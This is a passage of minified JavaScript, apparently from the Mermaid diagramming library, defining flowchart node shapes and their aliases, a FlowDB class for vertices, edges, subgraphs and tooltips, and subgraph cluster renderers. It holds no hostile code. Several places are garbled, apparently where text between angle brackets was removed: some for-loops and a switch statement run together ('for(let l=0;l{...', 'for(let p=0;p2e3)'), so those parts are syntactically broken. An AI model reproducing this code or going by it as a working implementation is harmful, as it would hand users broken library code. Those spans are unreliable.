Mte=N(()=>{"use strict";Ut();$t();It();o(Nte,"defaultMindmapNode")});async function Ite(t,e){let r={padding:e.padding??0};return iw(t,e,r)}var Ote=N(()=>{"use strict";U9();o(Ite,"mindmapCircle")});function Pte(t){return t in q9}var ERe,SRe,q9,W9=N(()=>{"use strict";yJ();bJ();wJ();EJ();U9();CJ();_J();LJ();NJ();IJ();PJ();FJ();zJ();VJ();HJ();WJ();XJ();KJ();ZJ();eee();ree();iee();see();lee();uee();fee();pee();gee();vee();bee();wee();Eee();Cee();_ee();Lee();Nee();Iee();Pee();Fee();zee();Vee();Hee();Wee();Xee();Kee();Zee();ete();rte();ite();ste();lte();ute();fte();pte();gte();vte();xte();kte();Ste();Ate();Dte();Rte();Mte();Ote();ERe=[{semanticName:"Process",name:"Rectangle",shortName:"rect",description:"Standard process shape",aliases:["proc","process","rectangle"],internalAliases:["squareRect"],handler:Gee},{semanticName:"Event",name:"Rounded Rectangle",shortName:"rounded",description:"Represents an event",aliases:["event"],internalAliases:["roundedRect"],handler:Oee},{semanticName:"Terminal Point",name:"Stadium",shortName:"stadium",description:"Terminal point",aliases:["terminal","pill"],handler:Uee},{semanticName:"Subprocess",name:"Framed Rectangle",shortName:"fr-rect",description:"Subprocess",aliases:["subprocess","subproc","framed-rectangle","subroutine"],handler:Qee},{semanticName:"Database",name:"Cylinder",shortName:"cyl",description:"Database storage",aliases:["db","database","cylinder"],handler:OJ},{semanticName:"Start",name:"Circle",shortName:"circle",description:"Starting point",aliases:["circ"],handler:iw},{semanticName:"Bang",name:"Bang",shortName:"bang",description:"Bang",aliases:["bang"],handler:_te},{semanticName:"Cloud",name:"Cloud",shortName:"cloud",description:"cloud",aliases:["cloud"],handler:Lte},{semanticName:"Decision",name:"Diamond",shortName:"diam",description:"Decision-making step",aliases:["decision","diamond","question"],handler:Dee},{semanticName:"Prepare Conditional",name:"Hexagon",shortName:"hex",description:"Preparation or condition step",aliases:["hexagon","prepare"],handler:jJ},{semanticName:"Data Input/Output",name:"Lean Right",shortName:"lean-r",description:"Represents input or output",aliases:["lean-right","in-out"],internalAliases:["lean_right"],handler:mee},{semanticName:"Data Input/Output",name:"Lean Left",shortName:"lean-l",description:"Represents output or input",aliases:["lean-left","out-in"],internalAliases:["lean_left"],handler:dee},{semanticName:"Priority Action",name:"Trapezoid Base Bottom",shortName:"trap-b",description:"Priority action",aliases:["priority","trapezoid-bottom","trapezoid"],handler:ote},{semanticName:"Manual Operation",name:"Trapezoid Base Top",shortName:"trap-t",description:"Represents a manual task",aliases:["manual","trapezoid-top","inv-trapezoid"],internalAliases:["inv_trapezoid"],handler:cee},{semanticName:"Stop",name:"Double Circle",shortName:"dbl-circ",description:"Represents a stop point",aliases:["double-circle"],internalAliases:["doublecircle"],handler:$J},{semanticName:"Text Block",name:"Text Block",shortName:"text",description:"Text block",handler:nte},{semanticName:"Card",name:"Notched Rectangle",shortName:"notch-rect",description:"Represents a card",aliases:["card","notched-rectangle"],handler:TJ},{semanticName:"Lined/Shaded Process",name:"Lined Rectangle",shortName:"lin-rect",description:"Lined process shape",aliases:["lined-rectangle","lined-process","lin-proc","shaded-process"],handler:Bee},{semanticName:"Start",name:"Small Circle",shortName:"sm-circ",description:"Small starting point",aliases:["start","small-circle"],internalAliases:["stateStart"],handler:jee},{semanticName:"Stop",name:"Framed Circle",shortName:"fr-circ",description:"Stop point",aliases:["stop","framed-circle"],internalAliases:["stateEnd"],handler:Yee},{semanticName:"Fork/Join",name:"Filled Rectangle",shortName:"fork",description:"Fork or join in process flow",aliases:["join"],internalAliases:["forkJoin"],handler:qJ},{semanticName:"Collate",name:"Hourglass",shortName:"hourglass",description:"Represents a collate operation",aliases:["hourglass","collate"],handler:QJ},{semanticName:"Comment",name:"Curly Brace",shortName:"brace",description:"Adds a comment",aliases:["comment","brace-l"],handler:AJ},{semanticName:"Comment Right",name:"Curly Brace",shortName:"brace-r",description:"Adds a comment",handler:DJ},{semanticName:"Comment with braces on both sides",name:"Curly Braces",shortName:"braces",description:"Adds a comment",handler:RJ},{semanticName:"Com Link",name:"Lightning Bolt",shortName:"bolt",description:"Communication link",aliases:["com-link","lightning-bolt"],handler:yee},{semanticName:"Document",name:"Document",shortName:"doc",description:"Represents a document",aliases:["doc","document"],handler:dte},{semanticName:"Delay",name:"Half-Rounded Rectangle",shortName:"delay",description:"Represents a delay",aliases:["half-rounded-rectangle"],handler:YJ},{semanticName:"Direct Access Storage",name:"Horizontal Cylinder",shortName:"h-cyl",description:"Direct access storage",aliases:["das","horizontal-cylinder"],handler:ate},{semanticName:"Disk Storage",name:"Lined Cylinder",shortName:"lin-cyl",description:"Disk storage",aliases:["disk","lined-cylinder"],handler:xee},{semanticName:"Display",name:"Curved Trapezoid",shortName:"curv-trap",description:"Represents a display",aliases:["curved-trapezoid","display"],handler:MJ},{semanticName:"Divided Process",name:"Divided Rectangle",shortName:"div-rect",description:"Divided process shape",aliases:["div-proc","divided-rectangle","divided-process"],handler:BJ},{semanticName:"Extract",name:"Triangle",shortName:"tri",description:"Extraction process",aliases:["extract","triangle"],handler:hte},{semanticName:"Internal Storage",name:"Window Pane",shortName:"win-pane",description:"Internal storage",aliases:["internal-storage","window-pane"],handler:yte},{semanticName:"Junction",name:"Filled Circle",shortName:"f-circ",description:"Junction point",aliases:["junction","filled-circle"],handler:GJ},{semanticName:"Loop Limit",name:"Trapezoidal Pentagon",shortName:"notch-pent",description:"Loop limit step",aliases:["loop-limit","notched-pentagon"],handler:cte},{semanticName:"Manual File",name:"Flipped Triangle",shortName:"flip-tri",description:"Manual file operation",aliases:["manual-file","flipped-triangle"],handler:UJ},{semanticName:"Manual Input",name:"Sloped Rectangle",shortName:"sl-rect",description:"Manual input step",aliases:["manual-input","sloped-rectangle"],handler:$ee},{semanticName:"Multi-Document",name:"Stacked Document",shortName:"docs",description:"Multiple documents",aliases:["documents","st-doc","stacked-document"],handler:See},{semanticName:"Multi-Process",name:"Stacked Rectangle",shortName:"st-rect",description:"Multiple processes",aliases:["procs","processes","stacked-rectangle"],handler:kee},{semanticName:"Stored Data",name:"Bow Tie Rectangle",shortName:"bow-rect",description:"Stored data",aliases:["stored-data","bow-tie-rectangle"],handler:xJ},{semanticName:"Summary",name:"Crossed Circle",shortName:"cross-circ",description:"Summary",aliases:["summary","crossed-circle"],handler:SJ},{semanticName:"Tagged Document",name:"Tagged Document",shortName:"tag-doc",description:"Tagged document",aliases:["tag-doc","tagged-document"],handler:tte},{semanticName:"Tagged Process",name:"Tagged Rectangle",shortName:"tag-rect",description:"Tagged process",aliases:["tagged-rectangle","tag-proc","tagged-process"],handler:Jee},{semanticName:"Paper Tape",name:"Flag",shortName:"flag",description:"Paper tape",aliases:["paper-tape"],handler:mte},{semanticName:"Odd",name:"Odd",shortName:"odd",description:"Odd shape",internalAliases:["rect_left_inv_arrow"],handler:Ree},{semanticName:"Lined Document",name:"Lined Document",shortName:"lin-doc",description:"Lined document",aliases:["lined-document"],handler:Tee}],SRe=o(()=>{let e=[...Object.entries({state:qee,choice:kJ,note:Aee,rectWithTitle:Mee,labelRect:hee,iconSquare:aee,iconCircle:tee,icon:JJ,iconRounded:nee,imageSquare:oee,anchor:gJ,kanbanItem:Cte,mindmapCircle:Ite,defaultMindmapNode:Nte,classBox:wte,erBox:H9,requirementBox:Ete}),...ERe.flatMap(r=>[r.shortName,..."aliases"in r?r.aliases:[],..."internalAliases"in r?r.internalAliases:[]].map(i=>[i,r.handler]))];return Object.fromEntries(e)},"generateShapeMap"),q9=SRe();o(Pte,"isValidShape")});var CRe,lw,Bte=N(()=>{"use strict";yr();w2();Xt();pt();W9();tr();gr();ci();CRe="flowchart-",lw=class{constructor(){this.vertexCounter=0;this.config=ge();this.vertices=new Map;this.edges=[];this.classes=new Map;this.subGraphs=[];this.subGraphLookup=new Map;this.tooltips=new Map;this.subCount=0;this.firstGraphFlag=!0;this.secCount=-1;this.posCrossRef=[];this.funs=[];this.setAccTitle=Rr;this.setAccDescription=Ir;this.setDiagramTitle=$r;this.getAccTitle=Mr;this.getAccDescription=Or;this.getDiagramTitle=Pr;this.funs.push(this.setupToolTips.bind(this)),this.addVertex=this.addVertex.bind(this),this.firstGraph=this.firstGraph.bind(this),this.setDirection=this.setDirection.bind(this),this.addSubGraph=this.addSubGraph.bind(this),this.addLink=this.addLink.bind(this),this.setLink=this.setLink.bind(this),this.updateLink=this.updateLink.bind(this),this.addClass=this.addClass.bind(this),this.setClass=this.setClass.bind(this),this.destructLink=this.destructLink.bind(this),this.setClickEvent=this.setClickEvent.bind(this),this.setTooltip=this.setTooltip.bind(this),this.updateLinkInterpolate=this.updateLinkInterpolate.bind(this),this.setClickFun=this.setClickFun.bind(this),this.bindFunctions=this.bindFunctions.bind(this),this.lex={firstGraph:this.firstGraph.bind(this)},this.clear(),this.setGen("gen-2")}static{o(this,"FlowDB")}sanitizeText(e){return tt.sanitizeText(e,this.config)}lookUpDomId(e){for(let r of this.vertices.values())if(r.id===e)return r.domId;return e}addVertex(e,r,n,i,a,s,l={},u){if(!e||e.trim().length===0)return;let h;if(u!==void 0){let m;u.includes(` +`)?m=u+` +`:m=`{ +`+u+` +}`,h=Kh(m,{schema:jh})}let f=this.edges.find(m=>m.id===e);if(f){let m=h;m?.animate!==void 0&&(f.animate=m.animate),m?.animation!==void 0&&(f.animation=m.animation),m?.curve!==void 0&&(f.interpolate=m.curve);return}let d,p=this.vertices.get(e);if(p===void 0&&(p={id:e,labelType:"text",domId:CRe+e+"-"+this.vertexCounter,styles:[],classes:[]},this.vertices.set(e,p)),this.vertexCounter++,r!==void 0?(this.config=ge(),d=this.sanitizeText(r.text.trim()),p.labelType=r.type,d.startsWith('"')&&d.endsWith('"')&&(d=d.substring(1,d.length-1)),p.text=d):p.text===void 0&&(p.text=e),n!==void 0&&(p.type=n),i?.forEach(m=>{p.styles.push(m)}),a?.forEach(m=>{p.classes.push(m)}),s!==void 0&&(p.dir=s),p.props===void 0?p.props=l:l!==void 0&&Object.assign(p.props,l),h!==void 0){if(h.shape){if(h.shape!==h.shape.toLowerCase()||h.shape.includes("_"))throw new Error(`No such shape: ${h.shape}. Shape names should be lowercase.`);if(!Pte(h.shape))throw new Error(`No such shape: ${h.shape}.`);p.type=h?.shape}h?.label&&(p.text=h?.label),h?.icon&&(p.icon=h?.icon,!h.label?.trim()&&p.text===e&&(p.text="")),h?.form&&(p.form=h?.form),h?.pos&&(p.pos=h?.pos),h?.img&&(p.img=h?.img,!h.label?.trim()&&p.text===e&&(p.text="")),h?.constraint&&(p.constraint=h.constraint),h.w&&(p.assetWidth=Number(h.w)),h.h&&(p.assetHeight=Number(h.h))}}addSingleLink(e,r,n,i){let l={start:e,end:r,type:void 0,text:"",labelType:"text",classes:[],isUserDefinedId:!1,interpolate:this.edges.defaultInterpolate};X.info("abc78 Got edge...",l);let u=n.text;if(u!==void 0&&(l.text=this.sanitizeText(u.text.trim()),l.text.startsWith('"')&&l.text.endsWith('"')&&(l.text=l.text.substring(1,l.text.length-1)),l.labelType=u.type),n!==void 0&&(l.type=n.type,l.stroke=n.stroke,l.length=n.length>10?10:n.length),i&&!this.edges.some(h=>h.id===i))l.id=i,l.isUserDefinedId=!0;else{let h=this.edges.filter(f=>f.start===l.start&&f.end===l.end);h.length===0?l.id=xc(l.start,l.end,{counter:0,prefix:"L"}):l.id=xc(l.start,l.end,{counter:h.length+1,prefix:"L"})}if(this.edges.length<(this.config.maxEdges??500))X.info("Pushing edge..."),this.edges.push(l);else throw new Error(`Edge limit exceeded. ${this.edges.length} edges found, but the limit is ${this.config.maxEdges}. + +Initialize mermaid with maxEdges set to a higher number to allow more edges. +You cannot set this config via configuration inside the diagram as it is a secure config. +You have to call mermaid.initialize.`)}isLinkData(e){return e!==null&&typeof e=="object"&&"id"in e&&typeof e.id=="string"}addLink(e,r,n){let i=this.isLinkData(n)?n.id.replace("@",""):void 0;X.info("addLink",e,r,i);for(let a of e)for(let s of r){let l=a===e[e.length-1],u=s===r[0];l&&u?this.addSingleLink(a,s,n,i):this.addSingleLink(a,s,n,void 0)}}updateLinkInterpolate(e,r){e.forEach(n=>{n==="default"?this.edges.defaultInterpolate=r:this.edges[n].interpolate=r})}updateLink(e,r){e.forEach(n=>{if(typeof n=="number"&&n>=this.edges.length)throw new Error(`The index ${n} for linkStyle is out of bounds. Valid indices for linkStyle are between 0 and ${this.edges.length-1}. (Help: Ensure that the index is within the range of existing edges.)`);n==="default"?this.edges.defaultStyle=r:(this.edges[n].style=r,(this.edges[n]?.style?.length??0)>0&&!this.edges[n]?.style?.some(i=>i?.startsWith("fill"))&&this.edges[n]?.style?.push("fill:none"))})}addClass(e,r){let n=r.join().replace(/\\,/g,"\xA7\xA7\xA7").replace(/,/g,";").replace(/§§§/g,",").split(";");e.split(",").forEach(i=>{let a=this.classes.get(i);a===void 0&&(a={id:i,styles:[],textStyles:[]},this.classes.set(i,a)),n?.forEach(s=>{if(/color/.exec(s)){let l=s.replace("fill","bgFill");a.textStyles.push(l)}a.styles.push(s)})})}setDirection(e){this.direction=e.trim(),/.*/.exec(this.direction)&&(this.direction="LR"),/.*v/.exec(this.direction)&&(this.direction="TB"),this.direction==="TD"&&(this.direction="TB")}setClass(e,r){for(let n of e.split(",")){let i=this.vertices.get(n);i&&i.classes.push(r);let a=this.edges.find(l=>l.id===n);a&&a.classes.push(r);let s=this.subGraphLookup.get(n);s&&s.classes.push(r)}}setTooltip(e,r){if(r!==void 0){r=this.sanitizeText(r);for(let n of e.split(","))this.tooltips.set(this.version==="gen-1"?this.lookUpDomId(n):n,r)}}setClickFun(e,r,n){let i=this.lookUpDomId(e);if(ge().securityLevel!=="loose"||r===void 0)return;let a=[];if(typeof n=="string"){a=n.split(/,(?=(?:(?:[^"]*"){2})*[^"]*$)/);for(let l=0;l{let l=document.querySelector(`[id="${i}"]`);l!==null&&l.addEventListener("click",()=>{qt.runFunc(r,...a)},!1)}))}setLink(e,r,n){e.split(",").forEach(i=>{let a=this.vertices.get(i);a!==void 0&&(a.link=qt.formatUrl(r,this.config),a.linkTarget=n)}),this.setClass(e,"clickable")}getTooltip(e){return this.tooltips.get(e)}setClickEvent(e,r,n){e.split(",").forEach(i=>{this.setClickFun(i,r,n)}),this.setClass(e,"clickable")}bindFunctions(e){this.funs.forEach(r=>{r(e)})}getDirection(){return this.direction?.trim()}getVertices(){return this.vertices}getEdges(){return this.edges}getClasses(){return this.classes}setupToolTips(e){let r=qe(".mermaidTooltip");(r._groups||r)[0][0]===null&&(r=qe("body").append("div").attr("class","mermaidTooltip").style("opacity",0)),qe(e).select("svg").selectAll("g.node").on("mouseover",a=>{let s=qe(a.currentTarget);if(s.attr("title")===null)return;let u=a.currentTarget?.getBoundingClientRect();r.transition().duration(200).style("opacity",".9"),r.text(s.attr("title")).style("left",window.scrollX+u.left+(u.right-u.left)/2+"px").style("top",window.scrollY+u.bottom+"px"),r.html(r.html().replace(/<br\/>/g,"
    ")),s.classed("hover",!0)}).on("mouseout",a=>{r.transition().duration(500).style("opacity",0),qe(a.currentTarget).classed("hover",!1)})}clear(e="gen-2"){this.vertices=new Map,this.classes=new Map,this.edges=[],this.funs=[this.setupToolTips.bind(this)],this.subGraphs=[],this.subGraphLookup=new Map,this.subCount=0,this.tooltips=new Map,this.firstGraphFlag=!0,this.version=e,this.config=ge(),Sr()}setGen(e){this.version=e||"gen-2"}defaultStyle(){return"fill:#ffa;stroke: #f66; stroke-width: 3px; stroke-dasharray: 5, 5;fill:#ffa;stroke: #666;"}addSubGraph(e,r,n){let i=e.text.trim(),a=n.text;e===n&&/\s/.exec(n.text)&&(i=void 0);let l=o(p=>{let m={boolean:{},number:{},string:{}},g=[],y;return{nodeList:p.filter(function(x){let b=typeof x;return x.stmt&&x.stmt==="dir"?(y=x.value,!1):x.trim()===""?!1:b in m?m[b].hasOwnProperty(x)?!1:m[b][x]=!0:g.includes(x)?!1:g.push(x)}),dir:y}},"uniq")(r.flat()),u=l.nodeList,h=l.dir,f=ge().flowchart??{};if(h=h??(f.inheritDir?this.getDirection()??ge().direction??void 0:void 0),this.version==="gen-1")for(let p=0;p2e3)return{result:!1,count:0};if(this.posCrossRef[this.secCount]=r,this.subGraphs[r].id===e)return{result:!0,count:0};let i=0,a=1;for(;i=0){let l=this.indexNodes2(e,s);if(l.result)return{result:!0,count:a+l.count};a=a+l.count}i=i+1}return{result:!1,count:a}}getDepthFirstPos(e){return this.posCrossRef[e]}indexNodes(){this.secCount=-1,this.subGraphs.length>0&&this.indexNodes2("none",this.subGraphs.length-1)}getSubGraphs(){return this.subGraphs}firstGraph(){return this.firstGraphFlag?(this.firstGraphFlag=!1,!0):!1}destructStartLink(e){let r=e.trim(),n="arrow_open";switch(r[0]){case"<":n="arrow_point",r=r.slice(1);break;case"x":n="arrow_cross",r=r.slice(1);break;case"o":n="arrow_circle",r=r.slice(1);break}let i="normal";return r.includes("=")&&(i="thick"),r.includes(".")&&(i="dotted"),{type:n,stroke:i}}countChar(e,r){let n=r.length,i=0;for(let a=0;a":i="arrow_point",r.startsWith("<")&&(i="double_"+i,n=n.slice(1));break;case"o":i="arrow_circle",r.startsWith("o")&&(i="double_"+i,n=n.slice(1));break}let a="normal",s=n.length-1;n.startsWith("=")&&(a="thick"),n.startsWith("~")&&(a="invisible");let l=this.countChar(".",n);return l&&(a="dotted",s=l),{type:i,stroke:a,length:s}}destructLink(e,r){let n=this.destructEndLink(e),i;if(r){if(i=this.destructStartLink(r),i.stroke!==n.stroke)return{type:"INVALID",stroke:"INVALID"};if(i.type==="arrow_open")i.type=n.type;else{if(i.type!==n.type)return{type:"INVALID",stroke:"INVALID"};i.type="double_"+i.type}return i.type==="double_arrow"&&(i.type="double_arrow_point"),i.length=n.length,i}return n}exists(e,r){for(let n of e)if(n.nodes.includes(r))return!0;return!1}makeUniq(e,r){let n=[];return e.nodes.forEach((i,a)=>{this.exists(r,i)||n.push(e.nodes[a])}),{nodes:n}}getTypeFromVertex(e){if(e.img)return"imageSquare";if(e.icon)return e.form==="circle"?"iconCircle":e.form==="square"?"iconSquare":e.form==="rounded"?"iconRounded":"icon";switch(e.type){case"square":case void 0:return"squareRect";case"round":return"roundedRect";case"ellipse":return"ellipse";default:return e.type}}findNode(e,r){return e.find(n=>n.id===r)}destructEdgeType(e){let r="none",n="arrow_point";switch(e){case"arrow_point":case"arrow_circle":case"arrow_cross":n=e;break;case"double_arrow_point":case"double_arrow_circle":case"double_arrow_cross":r=e.replace("double_",""),n=r;break}return{arrowTypeStart:r,arrowTypeEnd:n}}addNodeFromVertex(e,r,n,i,a,s){let l=n.get(e.id),u=i.get(e.id)??!1,h=this.findNode(r,e.id);if(h)h.cssStyles=e.styles,h.cssCompiledStyles=this.getCompiledStyles(e.classes),h.cssClasses=e.classes.join(" ");else{let f={id:e.id,label:e.text,labelStyle:"",parentId:l,padding:a.flowchart?.padding||8,cssStyles:e.styles,cssCompiledStyles:this.getCompiledStyles(["default","node",...e.classes]),cssClasses:"default "+e.classes.join(" "),dir:e.dir,domId:e.domId,look:s,link:e.link,linkTarget:e.linkTarget,tooltip:this.getTooltip(e.id),icon:e.icon,pos:e.pos,img:e.img,assetWidth:e.assetWidth,assetHeight:e.assetHeight,constraint:e.constraint};u?r.push({...f,isGroup:!0,shape:"rect"}):r.push({...f,isGroup:!1,shape:this.getTypeFromVertex(e)})}}getCompiledStyles(e){let r=[];for(let n of e){let i=this.classes.get(n);i?.styles&&(r=[...r,...i.styles??[]].map(a=>a.trim())),i?.textStyles&&(r=[...r,...i.textStyles??[]].map(a=>a.trim()))}return r}getData(){let e=ge(),r=[],n=[],i=this.getSubGraphs(),a=new Map,s=new Map;for(let h=i.length-1;h>=0;h--){let f=i[h];f.nodes.length>0&&s.set(f.id,!0);for(let d of f.nodes)a.set(d,f.id)}for(let h=i.length-1;h>=0;h--){let f=i[h];r.push({id:f.id,label:f.title,labelStyle:"",parentId:a.get(f.id),padding:8,cssCompiledStyles:this.getCompiledStyles(f.classes),cssClasses:f.classes.join(" "),shape:"rect",dir:f.dir,isGroup:!0,look:e.look})}this.getVertices().forEach(h=>{this.addNodeFromVertex(h,r,a,s,e,e.look||"classic")});let u=this.getEdges();return u.forEach((h,f)=>{let{arrowTypeStart:d,arrowTypeEnd:p}=this.destructEdgeType(h.type),m=[...u.defaultStyle??[]];h.style&&m.push(...h.style);let g={id:xc(h.start,h.end,{counter:f,prefix:"L"},h.id),isUserDefinedId:h.isUserDefinedId,start:h.start,end:h.end,type:h.type??"normal",label:h.text,labelpos:"c",thickness:h.stroke,minlen:h.length,classes:h?.stroke==="invisible"?"":"edge-thickness-normal edge-pattern-solid flowchart-link",arrowTypeStart:h?.stroke==="invisible"||h?.type==="arrow_open"?"none":d,arrowTypeEnd:h?.stroke==="invisible"||h?.type==="arrow_open"?"none":p,arrowheadStyle:"fill: #333",cssCompiledStyles:this.getCompiledStyles(h.classes),labelStyle:m,style:m,pattern:h.stroke,look:e.look,animate:h.animate,animation:h.animation,curve:h.interpolate||this.edges.defaultInterpolate||e.flowchart?.curve};n.push(g)}),{nodes:r,edges:n,other:{},config:e}}defaultConfig(){return G3.flowchart}}});var Vo,ep=N(()=>{"use strict";yr();Vo=o((t,e)=>{let r;return e==="sandbox"&&(r=qe("#i"+t)),(e==="sandbox"?qe(r.nodes()[0].contentDocument.body):qe("body")).select(`[id="${t}"]`)},"getDiagramElement")});var Pu,O2=N(()=>{"use strict";Pu=o(({flowchart:t})=>{let e=t?.subGraphTitleMargin?.top??0,r=t?.subGraphTitleMargin?.bottom??0,n=e+r;return{subGraphTitleTopMargin:e,subGraphTitleBottomMargin:r,subGraphTitleTotalMargin:n}},"getSubGraphTitleMargins")});var Fte,ARe,_Re,DRe,LRe,RRe,NRe,$te,Sm,zte,cw=N(()=>{"use strict";Xt();gr();pt();O2();yr();Ht();zo();S9();aw();Zd();$t();Fte=o(async(t,e)=>{X.info("Creating subgraph rect for ",e.id,e);let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{clusterBkg:a,clusterBorder:s}=n,{labelStyles:l,nodeStyles:u,borderStyles:h,backgroundStyles:f}=je(e),d=t.insert("g").attr("class","cluster "+e.cssClasses).attr("id",e.id).attr("data-look",e.look),p=vr(r.flowchart.htmlLabels),m=d.insert("g").attr("class","cluster-label "),g=await di(m,e.label,{style:e.labelStyle,useHtmlLabels:p,isNode:!0}),y=g.getBBox();if(vr(r.flowchart.htmlLabels)){let A=g.children[0],C=qe(g);y=A.getBoundingClientRect(),C.attr("width",y.width),C.attr("height",y.height)}let v=e.width<=y.width+e.padding?y.width+e.padding:e.width;e.width<=y.width+e.padding?e.diff=(v-e.width)/2-e.padding:e.diff=-e.padding;let x=e.height,b=e.x-v/2,T=e.y-x/2;X.trace("Data ",e,JSON.stringify(e));let S;if(e.look==="handDrawn"){let A=Ze.svg(d),C=Je(e,{roughness:.7,fill:a,stroke:s,fillWeight:3,seed:i}),R=A.path(Fs(b,T,v,x,0),C);S=d.insert(()=>(X.debug("Rough node insert CXC",R),R),":first-child"),S.select("path:nth-child(2)").attr("style",h.join(";")),S.select("path").attr("style",f.join(";").replace("fill","stroke"))}else S=d.insert("rect",":first-child"),S.attr("style",u).attr("rx",e.rx).attr("ry",e.ry).attr("x",b).attr("y",T).attr("width",v).attr("height",x);let{subGraphTitleTopMargin:w}=Pu(r);if(m.attr("transform",`translate(${e.x-y.width/2}, ${e.y-e.height/2+w})`),l){let A=m.select("span");A&&A.attr("style",l)}let k=S.node().getBBox();return e.offsetX=0,e.width=k.width,e.height=k.height,e.offsetY=y.height-e.padding/2,e.intersect=function(A){return Qh(e,A)},{cluster:d,labelBBox:y}},"rect"),ARe=o((t,e)=>{let r=t.insert("g").attr("class","note-cluster").attr("id",e.id),n=r.insert("rect",":first-child"),i=0*e.padding,a=i/2;n.attr("rx",e.rx).attr("ry",e.ry).attr("x",e.x-e.width/2-a).attr("y",e.y-e.height/2-a).attr("width",e.width+i).attr("height",e.height+i).attr("fill","none");let s=n.node().getBBox();return e.width=s.width,e.height=s.height,e.intersect=function(l){return Qh(e,l)},{cluster:r,labelBBox:{width:0,height:0}}},"noteGroup"),_Re=o(async(t,e)=>{let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{altBackground:a,compositeBackground:s,compositeTitleBackground:l,nodeBorder:u}=n,h=t.insert("g").attr("class",e.cssClasses).attr("id",e.id).attr("data-id",e.id).attr("data-look",e.look),f=h.insert("g",":first-child"),d=h.insert("g").attr("class","cluster-label"),p=h.append("rect"),m=d.node().appendChild(await kc(e.label,e.labelStyle,void 0,!0)),g=m.getBBox();if(vr(r.flowchart.htmlLabels)){let R=m.children[0],I=qe(m);g=R.getBoundingClientRect(),I.attr("width",g.width),I.attr("height",g.height)}let y=0*e.padding,v=y/2,x=(e.width<=g.width+e.padding?g.width+e.padding:e.width)+y;e.width<=g.width+e.padding?e.diff=(x-e.width)/2-e.padding:e.diff=-e.padding;let b=e.height+y,T=e.height+y-g.height-6,S=e.x-x/2,w=e.y-b/2;e.width=x;let k=e.y-e.height/2-v+g.height+2,A;if(e.look==="handDrawn"){let R=e.cssClasses.includes("statediagram-cluster-alt"),I=Ze.svg(h),L=e.rx||e.ry?I.path(Fs(S,w,x,b,10),{roughness:.7,fill:l,fillStyle:"solid",stroke:u,seed:i}):I.rectangle(S,w,x,b,{seed:i});A=h.insert(()=>L,":first-child");let E=I.rectangle(S,k,x,T,{fill:R?a:s,fillStyle:R?"hachure":"solid",stroke:u,seed:i});A=h.insert(()=>L,":first-child"),p=h.insert(()=>E)}else A=f.insert("rect",":first-child"),A.attr("class","outer").attr("x",S).attr("y",w).attr("width",x).attr("height",b).attr("data-look",e.look),p.attr("class","inner").attr("x",S).attr("y",k).attr("width",x).attr("height",T);d.attr("transform",`translate(${e.x-g.width/2}, ${w+1-(vr(r.flowchart.htmlLabels)?0:3)})`);let C=A.node().getBBox();return e.height=C.height,e.offsetX=0,e.offsetY=g.height-e.padding/2,e.labelBBox=g,e.intersect=function(R){return Qh(e,R)},{cluster:h,labelBBox:g}},"roundedWithTitle"),DRe=o(async(t,e)=>{X.info("Creating subgraph rect for ",e.id,e);let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{clusterBkg:a,clusterBorder:s}=n,{labelStyles:l,nodeStyles:u,borderStyles:h,backgroundStyles:f}=je(e),d=t.insert("g").attr("class","cluster "+e.cssClasses).attr("id",e.id).attr("data-look",e.look),p=vr(r.flowchart.htmlLabels),m=d.insert("g").attr("class","cluster-label "),g=await di(m,e.label,{style:e.labelStyle,useHtmlLabels:p,isNode:!0,width:e.width}),y=g.getBBox();if(vr(r.flowchart.htmlLabels)){let A=g.children[0],C=qe(g);y=A.getBoundingClientRect(),C.attr("width",y.width),C.attr("height",y.height)}let v=e.width<=y.width+e.padding?y.width+e.padding:e.width;e.width<=y.width+e.padding?e.diff=(v-e.width)/2-e.padding:e.diff=-e.padding;let x=e.height,b=e.x-v/2,T=e.y-x/2;X.trace("Data ",e,JSON.stringify(e));let S;if(e.look==="handDrawn"){let A=Ze.svg(d),C=Je(e,{roughness:.7,fill:a,stroke:s,fillWeight:4,seed:i}),R=A.path(Fs(b,T,v,x,e.rx),C);S=d.insert(()=>(X.debug("Rough node insert CXC",R),R),":first-child"),S.select("path:nth-child(2)").attr("style",h.join(";")),S.select("path").attr("style",f.join(";").replace("fill","stroke"))}else S=d.insert("rect",":first-child"),S.attr("style",u).attr("rx",e.rx).attr("ry",e.ry).attr("x",b).attr("y",T).attr("width",v).attr("height",x);let{subGraphTitleTopMargin:w}=Pu(r);if(m.attr("transform",`translate(${e.x-y.width/2}, ${e.y-e.height/2+w})`),l){let A=m.select("span");A&&A.attr("style",l)}let k=S.node().getBBox();return e.offsetX=0,e.width=k.width,e.height=k.height,e.offsetY=y.height-e.padding/2,e.intersect=function(A){return Qh(e,A)},{cluster:d,labelBBox:y}},"kanbanSection"),LRe=o((t,e)=>{let r=ge(),{themeVariables:n,handDrawnSeed:i}=r,{nodeBorder:a}=n,s=t.insert("g").attr("class",e.cssClasses).attr("id",e.id).attr("data-look",e.look),l=s.insert("g",":first-child"),u=0*e.padding,h=e.width+u;e.diff=-e.padding;let f=e.height+u,d=e.x-h/2,p=e.y-f/2;e.width=h;let m;if(e.look==="handDrawn"){let v=Ze.svg(s).rectangle(d,p,h,f,{fill:"lightgrey",roughness:.5,strokeLineDash:[5],stroke:a,seed:i});m=s.insert(()=>v,":first-child")}else m=l.insert("rect",":first-child"),m.attr("class","divider").attr("x",d).attr("y",p).attr("width",h).attr("height",f).attr("data-look",e.look);let g=m.node().getBBox();return e.height=g.height,e.offsetX=0,e.offsetY=0,e.intersect=function(y){return Qh(e,y)},{cluster:s,labelBBox:{}}},"divider"),RRe=Fte,NRe={rect:Fte,squareRect:RRe,roundedWithTitle:_Re,noteGroup:ARe,divider:LRe,kanbanSection:DRe},$te=new Map,Sm=o(async(t,e)=>{let r=e.shape||"rect",n=await NRe[r](t,e);return $te.set(e.id,n),n},"insertCluster"),zte=o(()=>{$te=new Map},"clear")});function uw(t,e){if(t===void 0||e===void 0)return{angle:0,deltaX:0,deltaY:0};t=Xn(t),e=Xn(e);let[r,n]=[t.x,t.y],[i,a]=[e.x,e.y],s=i-r,l=a-n;return{angle:Math.atan(l/s),deltaX:s,deltaY:l}}var fa,Y9,Xn,hw,X9=N(()=>{"use 